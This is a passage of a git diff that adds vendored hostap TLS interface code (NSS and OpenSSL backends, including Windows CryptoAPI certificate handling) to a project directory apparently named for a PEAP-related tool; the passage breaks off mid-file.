+} + + +int tls_connection_client_hello_ext(void *tls_ctx, struct tls_connection *conn, + int ext_type, const u8 *data, + size_t data_len) +{ + return -1; +} + + +int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn) +{ + return 0; +} + + +int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn) +{ + return 0; +} + + +int tls_connection_get_write_alerts(void *tls_ctx, + struct tls_connection *conn) +{ + return 0; +} + + +int tls_connection_get_keyblock_size(void *tls_ctx, + struct tls_connection *conn) +{ + return -1; +} + + +unsigned int tls_capabilities(void *tls_ctx) +{ + return 0; +} diff --git a/peapwn/mods/hostap/src/crypto/tls_nss.c b/peapwn/mods/hostap/src/crypto/tls_nss.c new file mode 100644 index 000000000..c53c192a1 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/tls_nss.c @@ -0,0 +1,645 @@ +/* + * SSL/TLS interface functions for NSS + * Copyright (c) 2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "common.h" +#include "tls.h" + +static int tls_nss_ref_count = 0; + +static PRDescIdentity nss_layer_id; + + +struct tls_connection { + PRFileDesc *fd; + + int established; + int verify_peer; + u8 *push_buf, *pull_buf, *pull_buf_offset; + size_t push_buf_len, pull_buf_len; +}; + + +static PRStatus nss_io_close(PRFileDesc *fd) +{ + wpa_printf(MSG_DEBUG, "NSS: I/O close"); + return PR_SUCCESS; +} + + +static PRInt32 nss_io_read(PRFileDesc *fd, void *buf, PRInt32 amount) +{ + wpa_printf(MSG_DEBUG, "NSS: I/O read(%d)", amount); + return PR_FAILURE; +} + + +static PRInt32 nss_io_write(PRFileDesc *fd, const void *buf, PRInt32 amount) +{ + wpa_printf(MSG_DEBUG, "NSS: I/O write(%d)", amount); + return PR_FAILURE; +} + + +static PRInt32 nss_io_writev(PRFileDesc *fd, const PRIOVec *iov, + PRInt32 iov_size, PRIntervalTime timeout) +{ + wpa_printf(MSG_DEBUG, "NSS: I/O writev(%d)", iov_size); + return PR_FAILURE; +} + + +static PRInt32 nss_io_recv(PRFileDesc *fd, void *buf, PRInt32 amount, + PRIntn flags, PRIntervalTime timeout) +{ + struct tls_connection *conn = (struct tls_connection *) fd->secret; + u8 *end; + + wpa_printf(MSG_DEBUG, "NSS: I/O recv(%d)", amount); + + if (conn->pull_buf == NULL) { + wpa_printf(MSG_DEBUG, "NSS: No data available to be read yet"); + return PR_FAILURE; + } + + end = conn->pull_buf + conn->pull_buf_len; + if (end - conn->pull_buf_offset < amount) + amount = end - conn->pull_buf_offset; + os_memcpy(buf, conn->pull_buf_offset, amount); + conn->pull_buf_offset += amount; + if (conn->pull_buf_offset == end) { + wpa_printf(MSG_DEBUG, "%s - pull_buf consumed", __func__); + os_free(conn->pull_buf); + conn->pull_buf = conn->pull_buf_offset = NULL; + conn->pull_buf_len = 0; + } else { + wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in pull_buf", + __func__, + (unsigned long) (end - conn->pull_buf_offset)); + } + return amount; +} + + +static PRInt32 nss_io_send(PRFileDesc *fd, const void *buf, PRInt32 amount, + PRIntn flags, PRIntervalTime timeout) +{ + struct tls_connection *conn = (struct tls_connection *) fd->secret; + u8 *nbuf; + + wpa_printf(MSG_DEBUG, "NSS: I/O %s", __func__); + wpa_hexdump(MSG_MSGDUMP, "NSS: I/O send data", buf, amount); + + nbuf = os_realloc(conn->push_buf, conn->push_buf_len + amount); + if (nbuf == NULL) { + wpa_printf(MSG_ERROR, "NSS: Failed to allocate memory for the " + "data to be sent"); + return PR_FAILURE; + } + os_memcpy(nbuf + conn->push_buf_len, buf, amount); + conn->push_buf = nbuf; + conn->push_buf_len += amount; + + return amount; +} + + +static PRInt32 nss_io_recvfrom(PRFileDesc *fd, void *buf, PRInt32 amount, + PRIntn flags, PRNetAddr *addr, + PRIntervalTime timeout) +{ + wpa_printf(MSG_DEBUG, "NSS: I/O %s", __func__); + return PR_FAILURE; +} + + +static PRInt32 nss_io_sendto(PRFileDesc *fd, const void *buf, PRInt32 amount, + PRIntn flags, const PRNetAddr *addr, + PRIntervalTime timeout) +{ + wpa_printf(MSG_DEBUG, "NSS: I/O %s", __func__); + return PR_FAILURE; +} + + +static PRStatus nss_io_getpeername(PRFileDesc *fd, PRNetAddr *addr) +{ + wpa_printf(MSG_DEBUG, "NSS: I/O getpeername"); + + /* + * It Looks like NSS only supports IPv4 and IPv6 TCP sockets. Provide a + * fake IPv4 address to work around this even though we are not really + * using TCP. + */ + os_memset(addr, 0, sizeof(*addr)); + addr->inet.family = PR_AF_INET; + + return PR_SUCCESS; +} + + +static PRStatus nss_io_getsocketoption(PRFileDesc *fd, + PRSocketOptionData *data) +{ + switch (data->option) { + case PR_SockOpt_Nonblocking: + wpa_printf(MSG_DEBUG, "NSS: I/O getsocketoption(Nonblocking)"); + data->value.non_blocking = PR_TRUE; + return PR_SUCCESS; + default: + wpa_printf(MSG_DEBUG, "NSS: I/O getsocketoption(%d)", + data->option); + return PR_FAILURE; + } +} + + +static const PRIOMethods nss_io = { + PR_DESC_LAYERED, + nss_io_close, + nss_io_read, + nss_io_write, + NULL /* available */, + NULL /* available64 */, + NULL /* fsync */, + NULL /* fseek */, + NULL /* fseek64 */, + NULL /* fileinfo */, + NULL /* fileinfo64 */, + nss_io_writev, + NULL /* connect */, + NULL /* accept */, + NULL /* bind */, + NULL /* listen */, + NULL /* shutdown */, + nss_io_recv, + nss_io_send, + nss_io_recvfrom, + nss_io_sendto, + NULL /* poll */, + NULL /* acceptread */, + NULL /* transmitfile */, + NULL /* getsockname */, + nss_io_getpeername, + NULL /* reserved_fn_6 */, + NULL /* reserved_fn_5 */, + nss_io_getsocketoption, + NULL /* setsocketoption */, + NULL /* sendfile */, + NULL /* connectcontinue */, + NULL /* reserved_fn_3 */, + NULL /* reserved_fn_2 */, + NULL /* reserved_fn_1 */, + NULL /* reserved_fn_0 */ +}; + + +static char * nss_password_cb(PK11SlotInfo *slot, PRBool retry, void *arg) +{ + wpa_printf(MSG_ERROR, "NSS: TODO - %s", __func__); + return NULL; +} + + +void * tls_init(const struct tls_config *conf) +{ + char *dir; + + tls_nss_ref_count++; + if (tls_nss_ref_count > 1) + return (void *) 1; + + PR_Init(PR_SYSTEM_THREAD, PR_PRIORITY_NORMAL, 1); + + nss_layer_id = PR_GetUniqueIdentity("wpa_supplicant"); + + PK11_SetPasswordFunc(nss_password_cb); + + dir = getenv("SSL_DIR"); + if (dir) { + if (NSS_Init(dir) != SECSuccess) { + wpa_printf(MSG_ERROR, "NSS: NSS_Init(cert_dir=%s) " + "failed", dir); + return NULL; + } + } else { + if (NSS_NoDB_Init(NULL) != SECSuccess) { + wpa_printf(MSG_ERROR, "NSS: NSS_NoDB_Init(NULL) " + "failed"); + return NULL; + } + } + + if (SSL_OptionSetDefault(SSL_V2_COMPATIBLE_HELLO, PR_FALSE) != + SECSuccess || + SSL_OptionSetDefault(SSL_ENABLE_SSL3, PR_FALSE) != SECSuccess || + SSL_OptionSetDefault(SSL_ENABLE_SSL2, PR_FALSE) != SECSuccess || + SSL_OptionSetDefault(SSL_ENABLE_TLS, PR_TRUE) != SECSuccess) { + wpa_printf(MSG_ERROR, "NSS: SSL_OptionSetDefault failed"); + return NULL; + } + + if (NSS_SetDomesticPolicy() != SECSuccess) { + wpa_printf(MSG_ERROR, "NSS: NSS_SetDomesticPolicy() failed"); + return NULL; + } + + return (void *) 1; +} + +void tls_deinit(void *ssl_ctx) +{ + tls_nss_ref_count--; + if (tls_nss_ref_count == 0) { + if (NSS_Shutdown() != SECSuccess) + wpa_printf(MSG_ERROR, "NSS: NSS_Shutdown() failed"); + } +} + + +int tls_get_errors(void *tls_ctx) +{ + return 0; +} + + +static SECStatus nss_bad_cert_cb(void *arg, PRFileDesc *fd) +{ + struct tls_connection *conn = arg; + SECStatus res = SECSuccess; + PRErrorCode err; + CERTCertificate *cert; + char *subject, *issuer; + + err = PR_GetError(); + if (IS_SEC_ERROR(err)) + wpa_printf(MSG_DEBUG, "NSS: Bad Server Certificate (sec err " + "%d)", err - SEC_ERROR_BASE); + else + wpa_printf(MSG_DEBUG, "NSS: Bad Server Certificate (err %d)", + err); + cert = SSL_PeerCertificate(fd); + subject = CERT_NameToAscii(&cert->subject); + issuer = CERT_NameToAscii(&cert->issuer); + wpa_printf(MSG_DEBUG, "NSS: Peer certificate subject='%s' issuer='%s'", + subject, issuer); + CERT_DestroyCertificate(cert); + PR_Free(subject); + PR_Free(issuer); + if (conn->verify_peer) + res = SECFailure; + + return res; +} + + +static void nss_handshake_cb(PRFileDesc *fd, void *client_data) +{ + struct tls_connection *conn = client_data; + wpa_printf(MSG_DEBUG, "NSS: Handshake completed"); + conn->established = 1; +} + + +struct tls_connection * tls_connection_init(void *tls_ctx) +{ + struct tls_connection *conn; + + conn = os_zalloc(sizeof(*conn)); + if (conn == NULL) + return NULL; + + conn->fd = PR_CreateIOLayerStub(nss_layer_id, &nss_io); + if (conn->fd == NULL) { + os_free(conn); + return NULL; + } + conn->fd->secret = (void *) conn; + + conn->fd = SSL_ImportFD(NULL, conn->fd); + if (conn->fd == NULL) { + os_free(conn); + return NULL; + } + + if (SSL_OptionSet(conn->fd, SSL_SECURITY, PR_TRUE) != SECSuccess || + SSL_OptionSet(conn->fd, SSL_HANDSHAKE_AS_CLIENT, PR_TRUE) != + SECSuccess || + SSL_OptionSet(conn->fd, SSL_HANDSHAKE_AS_SERVER, PR_FALSE) != + SECSuccess || + SSL_OptionSet(conn->fd, SSL_ENABLE_TLS, PR_TRUE) != SECSuccess || + SSL_BadCertHook(conn->fd, nss_bad_cert_cb, conn) != SECSuccess || + SSL_HandshakeCallback(conn->fd, nss_handshake_cb, conn) != + SECSuccess) { + wpa_printf(MSG_ERROR, "NSS: Failed to set options"); + PR_Close(conn->fd); + os_free(conn); + return NULL; + } + + SSL_ResetHandshake(conn->fd, PR_FALSE); + + return conn; +} + + +void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn) +{ + PR_Close(conn->fd); + os_free(conn->push_buf); + os_free(conn->pull_buf); + os_free(conn); +} + + +int tls_connection_established(void *tls_ctx, struct tls_connection *conn) +{ + return conn->established; +} + + +int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn) +{ + return -1; +} + + +int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, + const struct tls_connection_params *params) +{ + wpa_printf(MSG_ERROR, "NSS: TODO - %s", __func__); + return 0; +} + + +int tls_global_set_params(void *tls_ctx, + const struct tls_connection_params *params) +{ + return -1; +} + + +int tls_global_set_verify(void *tls_ctx, int check_crl) +{ + return -1; +} + + +int tls_connection_set_verify(void *tls_ctx, struct tls_connection *conn, + int verify_peer) +{ + conn->verify_peer = verify_peer; + return 0; +} + + +int tls_connection_get_keys(void *tls_ctx, struct tls_connection *conn, + struct tls_keys *keys) +{ + /* NSS does not export master secret or client/server random. */ + return -1; +} + + +int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, + const char *label, int server_random_first, + u8 *out, size_t out_len) +{ + if (conn == NULL || server_random_first) { + wpa_printf(MSG_INFO, "NSS: Unsupported PRF request " + "(server_random_first=%d)", + server_random_first); + return -1; + } + + if (SSL_ExportKeyingMaterial(conn->fd, label, NULL, 0, out, out_len) != + SECSuccess) { + wpa_printf(MSG_INFO, "NSS: Failed to use TLS extractor " + "(label='%s' out_len=%d", label, (int) out_len); + return -1; + } + + return 0; +} + + +struct wpabuf * tls_connection_handshake(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data, + struct wpabuf **appl_data) +{ + struct wpabuf *out_data; + + wpa_printf(MSG_DEBUG, "NSS: handshake: in_len=%u", + in_data ? (unsigned int) wpabuf_len(in_data) : 0); + + if (appl_data) + *appl_data = NULL; + + if (in_data && wpabuf_len(in_data) > 0) { + if (conn->pull_buf) { + wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in " + "pull_buf", __func__, + (unsigned long) conn->pull_buf_len); + os_free(conn->pull_buf); + } + conn->pull_buf = os_malloc(wpabuf_len(in_data)); + if (conn->pull_buf == NULL) + return NULL; + os_memcpy(conn->pull_buf, wpabuf_head(in_data), + wpabuf_len(in_data)); + conn->pull_buf_offset = conn->pull_buf; + conn->pull_buf_len = wpabuf_len(in_data); + } + + SSL_ForceHandshake(conn->fd); + + if (conn->established && conn->push_buf == NULL) { + /* Need to return something to get final TLS ACK. */ + conn->push_buf = os_malloc(1); + } + + if (conn->push_buf == NULL) + return NULL; + out_data = wpabuf_alloc_ext_data(conn->push_buf, conn->push_buf_len); + if (out_data == NULL) + os_free(conn->push_buf); + conn->push_buf = NULL; + conn->push_buf_len = 0; + return out_data; +} + + +struct wpabuf * tls_connection_server_handshake(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data, + struct wpabuf **appl_data) +{ + return NULL; +} + + +struct wpabuf * tls_connection_encrypt(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data) +{ + PRInt32 res; + struct wpabuf *buf; + + wpa_printf(MSG_DEBUG, "NSS: encrypt %d bytes", + (int) wpabuf_len(in_data)); + res = PR_Send(conn->fd, wpabuf_head(in_data), wpabuf_len(in_data), 0, + 0); + if (res < 0) { + wpa_printf(MSG_ERROR, "NSS: Encryption failed"); + return NULL; + } + if (conn->push_buf == NULL) + return NULL; + buf = wpabuf_alloc_ext_data(conn->push_buf, conn->push_buf_len); + if (buf == NULL) + os_free(conn->push_buf); + conn->push_buf = NULL; + conn->push_buf_len = 0; + return buf; +} + + +struct wpabuf * tls_connection_decrypt(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data) +{ + PRInt32 res; + struct wpabuf *out; + + wpa_printf(MSG_DEBUG, "NSS: decrypt %d bytes", + (int) wpabuf_len(in_data)); + if (conn->pull_buf) { + wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in " + "pull_buf", __func__, + (unsigned long) conn->pull_buf_len); + os_free(conn->pull_buf); + } + conn->pull_buf = os_malloc(wpabuf_len(in_data)); + if (conn->pull_buf == NULL) + return NULL; + os_memcpy(conn->pull_buf, wpabuf_head(in_data), wpabuf_len(in_data)); + conn->pull_buf_offset = conn->pull_buf; + conn->pull_buf_len = wpabuf_len(in_data); + + /* + * Even though we try to disable TLS compression, it is possible that + * this cannot be done with all TLS libraries. Add extra buffer space + * to handle the possibility of the decrypted data being longer than + * input data. + */ + out = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3); + if (out == NULL) + return NULL; + + res = PR_Recv(conn->fd, wpabuf_mhead(out), wpabuf_size(out), 0, 0); + wpa_printf(MSG_DEBUG, "NSS: PR_Recv: %d", res); + if (res < 0) { + wpabuf_free(out); + return NULL; + } + wpabuf_put(out, res); + + return out; +} + + +int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn) +{ + return 0; +} + + +int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, + u8 *ciphers) +{ + return -1; +} + + +int tls_get_cipher(void *tls_ctx, struct tls_connection *conn, + char *buf, size_t buflen) +{ + return -1; +} + + +int tls_connection_enable_workaround(void *tls_ctx, + struct tls_connection *conn) +{ + return -1; +} + + +int tls_connection_client_hello_ext(void *tls_ctx, struct tls_connection *conn, + int ext_type, const u8 *data, + size_t data_len) +{ + return -1; +} + + +int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn) +{ + return 0; +} + + +int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn) +{ + return 0; +} + + +int tls_connection_get_write_alerts(void *tls_ctx, + struct tls_connection *conn) +{ + return 0; +} + + +int tls_connection_get_keyblock_size(void *tls_ctx, + struct tls_connection *conn) +{ + return -1; +} + + +unsigned int tls_capabilities(void *tls_ctx) +{ + return 0; +} + + +int tls_connection_set_session_ticket_cb(void *tls_ctx, + struct tls_connection *conn, + tls_session_ticket_cb cb, + void *ctx) +{ + return -1; +} diff --git a/peapwn/mods/hostap/src/crypto/tls_openssl.c b/peapwn/mods/hostap/src/crypto/tls_openssl.c new file mode 100644 index 000000000..7e1056c90 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/tls_openssl.c @@ -0,0 +1,3413 @@ +/* + * SSL/TLS interface functions for OpenSSL + * Copyright (c) 2004-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#ifndef CONFIG_SMARTCARD +#ifndef OPENSSL_NO_ENGINE +#ifndef ANDROID +#define OPENSSL_NO_ENGINE +#endif +#endif +#endif + +#include +#include +#include +#include +#ifndef OPENSSL_NO_ENGINE +#include +#endif /* OPENSSL_NO_ENGINE */ + +#include "common.h" +#include "crypto.h" +#include "tls.h" + +#if OPENSSL_VERSION_NUMBER >= 0x0090800fL +#define OPENSSL_d2i_TYPE const unsigned char ** +#else +#define OPENSSL_d2i_TYPE unsigned char ** +#endif + +#if defined(SSL_CTX_get_app_data) && defined(SSL_CTX_set_app_data) +#define OPENSSL_SUPPORTS_CTX_APP_DATA +#endif + +#ifdef SSL_F_SSL_SET_SESSION_TICKET_EXT +#ifdef SSL_OP_NO_TICKET +/* + * Session ticket override patch was merged into OpenSSL 0.9.9 tree on + * 2008-11-15. This version uses a bit different API compared to the old patch. + */ +#define CONFIG_OPENSSL_TICKET_OVERRIDE +#endif +#endif + +#ifdef SSL_set_tlsext_status_type +#ifndef OPENSSL_NO_TLSEXT +#define HAVE_OCSP +#include +#endif /* OPENSSL_NO_TLSEXT */ +#endif /* SSL_set_tlsext_status_type */ + +#ifdef ANDROID +#include +#include + +static BIO * BIO_from_keystore(const char *key) +{ + BIO *bio = NULL; + uint8_t *value = NULL; + int length = keystore_get(key, strlen(key), &value); + if (length != -1 && (bio = BIO_new(BIO_s_mem())) != NULL) + BIO_write(bio, value, length); + free(value); + return bio; +} +#endif /* ANDROID */ + +static int tls_openssl_ref_count = 0; + +struct tls_context { + void (*event_cb)(void *ctx, enum tls_event ev, + union tls_event_data *data); + void *cb_ctx; + int cert_in_cb; + char *ocsp_stapling_response; +}; + +static struct tls_context *tls_global = NULL; + + +struct tls_connection { + struct tls_context *context; + SSL *ssl; + BIO *ssl_in, *ssl_out; +#ifndef OPENSSL_NO_ENGINE + ENGINE *engine; /* functional reference to the engine */ + EVP_PKEY *private_key; /* the private key if using engine */ +#endif /* OPENSSL_NO_ENGINE */ + char *subject_match, *altsubject_match, *suffix_match; + int read_alerts, write_alerts, failed; + + tls_session_ticket_cb session_ticket_cb; + void *session_ticket_cb_ctx; + + /* SessionTicket received from OpenSSL hello_extension_cb (server) */ + u8 *session_ticket; + size_t session_ticket_len; + + unsigned int ca_cert_verify:1; + unsigned int cert_probe:1; + unsigned int server_cert_only:1; + + u8 srv_cert_hash[32]; + + unsigned int flags; + + X509 *peer_cert; + X509 *peer_issuer; +}; + + +static struct tls_context * tls_context_new(const struct tls_config *conf) +{ + struct tls_context *context = os_zalloc(sizeof(*context)); + if (context == NULL) + return NULL; + if (conf) { + context->event_cb = conf->event_cb; + context->cb_ctx = conf->cb_ctx; + context->cert_in_cb = conf->cert_in_cb; + } + return context; +} + + +#ifdef CONFIG_NO_STDOUT_DEBUG + +static void _tls_show_errors(void) +{ + unsigned long err; + + while ((err = ERR_get_error())) { + /* Just ignore the errors, since stdout is disabled */ + } +} +#define tls_show_errors(l, f, t) _tls_show_errors() + +#else /* CONFIG_NO_STDOUT_DEBUG */ + +static void tls_show_errors(int level, const char *func, const char *txt) +{ + unsigned long err; + + wpa_printf(level, "OpenSSL: %s - %s %s", + func, txt, ERR_error_string(ERR_get_error(), NULL)); + + while ((err = ERR_get_error())) { + wpa_printf(MSG_INFO, "OpenSSL: pending error: %s", + ERR_error_string(err, NULL)); + } +} + +#endif /* CONFIG_NO_STDOUT_DEBUG */ + + +#ifdef CONFIG_NATIVE_WINDOWS + +/* Windows CryptoAPI and access to certificate stores */ +#include + +#ifdef __MINGW32_VERSION +/* + * MinGW does not yet include all the needed definitions for CryptoAPI, so + * define here whatever extra is needed. + */ +#define CERT_SYSTEM_STORE_CURRENT_USER (1 << 16) +#define CERT_STORE_READONLY_FLAG 0x00008000 +#define CERT_STORE_OPEN_EXISTING_FLAG 0x00004000 + +#endif /* __MINGW32_VERSION */ + + +struct cryptoapi_rsa_data { + const CERT_CONTEXT *cert; + HCRYPTPROV crypt_prov; + DWORD key_spec; + BOOL free_crypt_prov; +}; + + +static void cryptoapi_error(const char *msg) +{ + wpa_printf(MSG_INFO, "CryptoAPI: %s; err=%u", + msg, (unsigned int) GetLastError()); +} + + +static int cryptoapi_rsa_pub_enc(int flen, const unsigned char *from, + unsigned char *to, RSA *rsa, int padding) +{ + wpa_printf(MSG_DEBUG, "%s - not implemented", __func__); + return 0; +} + + +static int cryptoapi_rsa_pub_dec(int flen, const unsigned char *from, + unsigned char *to, RSA *rsa, int padding) +{ + wpa_printf(MSG_DEBUG, "%s - not implemented", __func__); + return 0; +} + + +static int cryptoapi_rsa_priv_enc(int flen, const unsigned char *from, + unsigned char *to, RSA *rsa, int padding) +{ + struct cryptoapi_rsa_data *priv = + (struct cryptoapi_rsa_data *) rsa->meth->app_data; + HCRYPTHASH hash; + DWORD hash_size, len, i; + unsigned char *buf = NULL; + int ret = 0; + + if (priv == NULL) { + RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT, + ERR_R_PASSED_NULL_PARAMETER); + return 0; + } + + if (padding != RSA_PKCS1_PADDING) { + RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT, + RSA_R_UNKNOWN_PADDING_TYPE); + return 0; + } + + if (flen != 16 /* MD5 */ + 20 /* SHA-1 */) { + wpa_printf(MSG_INFO, "%s - only MD5-SHA1 hash supported", + __func__); + RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT, + RSA_R_INVALID_MESSAGE_LENGTH); + return 0; + } + + if (!CryptCreateHash(priv->crypt_prov, CALG_SSL3_SHAMD5, 0, 0, &hash)) + { + cryptoapi_error("CryptCreateHash failed"); + return 0; + } + + len = sizeof(hash_size); + if (!CryptGetHashParam(hash, HP_HASHSIZE, (BYTE *) &hash_size, &len, + 0)) { + cryptoapi_error("CryptGetHashParam failed"); + goto err; + } + + if ((int) hash_size != flen) { + wpa_printf(MSG_INFO, "CryptoAPI: Invalid hash size (%u != %d)", + (unsigned) hash_size, flen); + RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT, + RSA_R_INVALID_MESSAGE_LENGTH); + goto err; + } + if (!CryptSetHashParam(hash, HP_HASHVAL, (BYTE * ) from, 0)) { + cryptoapi_error("CryptSetHashParam failed"); + goto err; + } + + len = RSA_size(rsa); + buf = os_malloc(len); + if (buf == NULL) { + RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT, ERR_R_MALLOC_FAILURE); + goto err; + } + + if (!CryptSignHash(hash, priv->key_spec, NULL, 0, buf, &len)) { + cryptoapi_error("CryptSignHash failed"); + goto err; + } + + for (i = 0; i < len; i++) + to[i] = buf[len - i - 1]; + ret = len; + +err: + os_free(buf); + CryptDestroyHash(hash); + + return ret; +} + + +static int cryptoapi_rsa_priv_dec(int flen, const unsigned char *from, + unsigned char *to, RSA *rsa, int padding) +{ + wpa_printf(MSG_DEBUG, "%s - not implemented", __func__); + return 0; +} + + +static void cryptoapi_free_data(struct cryptoapi_rsa_data *priv) +{ + if (priv == NULL) + return; + if (priv->crypt_prov && priv->free_crypt_prov) + CryptReleaseContext(priv->crypt_prov, 0); + if (priv->cert) + CertFreeCertificateContext(priv->cert); + os_free(priv); +} + + +static int cryptoapi_finish(RSA *rsa) +{ + cryptoapi_free_data((struct cryptoapi_rsa_data *) rsa->meth->app_data); + os_free((void *) rsa->meth); + rsa->meth = NULL; + return 1; +} + + +static const CERT_CONTEXT * cryptoapi_find_cert(const char *name, DWORD store) +{ + HCERTSTORE cs; + const CERT_CONTEXT *ret = NULL; + + cs = CertOpenStore((LPCSTR) CERT_STORE_PROV_SYSTEM, 0, 0, + store | CERT_STORE_OPEN_EXISTING_FLAG | + CERT_STORE_READONLY_FLAG, L"MY"); + if (cs == NULL) { + cryptoapi_error("Failed to open 'My system store'"); + return NULL; + } + + if (strncmp(name, "cert://", 7) == 0) { + unsigned short wbuf[255]; + MultiByteToWideChar(CP_ACP, 0, name + 7, -1, wbuf, 255); + ret = CertFindCertificateInStore(cs, X509_ASN_ENCODING | + PKCS_7_ASN_ENCODING, + 0, CERT_FIND_SUBJECT_STR, + wbuf, NULL); + } else if (strncmp(name, "hash://", 7) == 0) { + CRYPT_HASH_BLOB blob; + int len; + const char *hash = name + 7; + unsigned char *buf; + + len = os_strlen(hash) / 2; + buf = os_malloc(len); + if (buf && hexstr2bin(hash, buf, len) == 0) { + blob.cbData = len; + blob.pbData = buf; + ret = CertFindCertificateInStore(cs, + X509_ASN_ENCODING | + PKCS_7_ASN_ENCODING, + 0, CERT_FIND_HASH, + &blob, NULL); + } + os_free(buf); + } + + CertCloseStore(cs, 0); + + return ret; +} + + +static int tls_cryptoapi_cert(SSL *ssl, const char *name) +{ + X509 *cert = NULL; + RSA *rsa = NULL, *pub_rsa; + struct cryptoapi_rsa_data *priv; + RSA_METHOD *rsa_meth; + + if (name == NULL || + (strncmp(name, "cert://", 7) != 0 && + strncmp(name, "hash://", 7) != 0)) + return -1; + + priv = os_zalloc(sizeof(*priv)); + rsa_meth = os_zalloc(sizeof(*rsa_meth)); + if (priv == NULL || rsa_meth == NULL) { + wpa_printf(MSG_WARNING, "CryptoAPI: Failed to allocate memory " + "for CryptoAPI RSA method"); + os_free(priv); + os_free(rsa_meth); + return -1; + } + + priv->cert = cryptoapi_find_cert(name, CERT_SYSTEM_STORE_CURRENT_USER); + if (priv->cert == NULL) { + priv->cert = cryptoapi_find_cert( + name, CERT_SYSTEM_STORE_LOCAL_MACHINE); + } + if (priv->cert == NULL) { + wpa_printf(MSG_INFO, "CryptoAPI: Could not find certificate " + "'%s'", name); + goto err; + } + + cert = d2i_X509(NULL, (OPENSSL_d2i_TYPE) &priv->cert->pbCertEncoded, + priv->cert->cbCertEncoded); + if (cert == NULL) { + wpa_printf(MSG_INFO, "CryptoAPI: Could not process X509 DER " + "encoding"); + goto err; + } + + if (!CryptAcquireCertificatePrivateKey(priv->cert, + CRYPT_ACQUIRE_COMPARE_KEY_FLAG, + NULL, &priv->crypt_prov, + &priv->key_spec, + &priv->free_crypt_prov)) { + cryptoapi_error("Failed to acquire a private key for the " + "certificate"); + goto err; + } + + rsa_meth->name = "Microsoft CryptoAPI RSA Method"; + rsa_meth->rsa_pub_enc = cryptoapi_rsa_pub_enc; + rsa_meth->rsa_pub_dec = cryptoapi_rsa_pub_dec; + rsa_meth->rsa_priv_enc = cryptoapi_rsa_priv_enc; + rsa_meth->rsa_priv_dec = cryptoapi_rsa_priv_dec; + rsa_meth->finish = cryptoapi_finish; + rsa_meth->flags = RSA_METHOD_FLAG_NO_CHECK; + rsa_meth->app_data = (char *) priv; + + rsa = RSA_new(); + if (rsa == NULL) { + SSLerr(SSL_F_SSL_CTX_USE_CERTIFICATE_FILE, + ERR_R_MALLOC_FAILURE); + goto err; + } + + if (!SSL_use_certificate(ssl, cert)) { + RSA_free(rsa); + rsa = NULL; + goto err; + } + pub_rsa = cert->cert_info->key->pkey->pkey.rsa; + X509_free(cert); + cert = NULL; + + rsa->n = BN_dup(pub_rsa->n); + rsa->e = BN_dup(pub_rsa->e); + if (!RSA_set_method(rsa, rsa_meth)) + goto err; + + if (!SSL_use_RSAPrivateKey(ssl, rsa)) + goto err; + RSA_free(rsa); + + return 0; + +err: + if (cert) + X509_free(cert); + if (rsa) + RSA_free(rsa); + else { + os_free(rsa_meth); + cryptoapi_free_data(priv); + } + return -1; +} + + +static int tls_cryptoapi_ca_cert(SSL_CTX *ssl_ctx, SSL *ssl, const char *name) +{ + HCERTSTORE cs; + PCCERT_CONTEXT ctx = NULL; + X509 *cert; + char buf[128]; + const char *store; +#ifdef UNICODE + WCHAR *wstore; +#endif /* UNICODE */ + + if (name == NULL || strncmp(name, "cert_store://", 13) != 0) + return -1; + + store = name + 13; +#ifdef UNICODE + wstore = os_malloc((os_strlen(store) + 1) * sizeof(WCHAR)); + if (wstore == NULL) + return -1; + wsprintf(wstore, L"%S", store); + cs = CertOpenSystemStore(0, wstore); + os_free(wstore); +#else /* UNICODE */ + cs = CertOpenSystemStore(0, store); +#endif /* UNICODE */ + if (cs == NULL) { + wpa_printf(MSG_DEBUG, "%s: failed to open system cert store " + "'%s': error=%d", __func__, store, + (int) GetLastError()); + return -1; + } + + while ((ctx = CertEnumCertificatesInStore(cs, ctx))) { + cert = d2i_X509(NULL, (OPENSSL_d2i_TYPE) &ctx->pbCertEncoded, + ctx->cbCertEncoded); + if (cert == NULL) { + wpa_printf(MSG_INFO, "CryptoAPI: Could not process " + "X509 DER encoding for CA cert"); + continue; + } + + X509_NAME_oneline(X509_get_subject_name(cert), buf, + sizeof(buf)); + wpa_printf(MSG_DEBUG, "OpenSSL: Loaded CA certificate for " + "system certificate store: subject='%s'", buf); + + if (!X509_STORE_add_cert(ssl_ctx->cert_store, cert)) { + tls_show_errors(MSG_WARNING, __func__, + "Failed to add ca_cert to OpenSSL " + "certificate store"); + } + + X509_free(cert); + } + + if (!CertCloseStore(cs, 0)) { + wpa_printf(MSG_DEBUG, "%s: failed to close system cert store " + "'%s': error=%d", __func__, name + 13, + (int) GetLastError()); + } + + return 0; +} + + +#else /* CONFIG_NATIVE_WINDOWS */ + +static int tls_cryptoapi_cert(SSL *ssl, const char *name) +{ + return -1; +} + +#endif /* CONFIG_NATIVE_WINDOWS */ + + +static void 